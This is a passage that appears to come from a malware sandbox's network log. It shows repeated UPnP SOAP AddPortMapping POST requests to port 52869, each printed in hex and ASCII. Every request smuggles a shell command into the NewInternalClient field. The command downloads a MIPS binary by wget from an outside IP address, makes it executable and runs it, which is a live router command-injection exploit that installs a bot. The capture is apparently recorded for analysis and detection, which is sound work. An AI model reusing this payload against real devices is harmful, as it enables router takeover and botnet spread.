3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      95192.168.2.153961691.239.5.17752869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:44.511426926 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:45.145493031 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:46.393425941 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:49.049427032 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:54.169189930 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:04.152986050 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:25.656301022 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
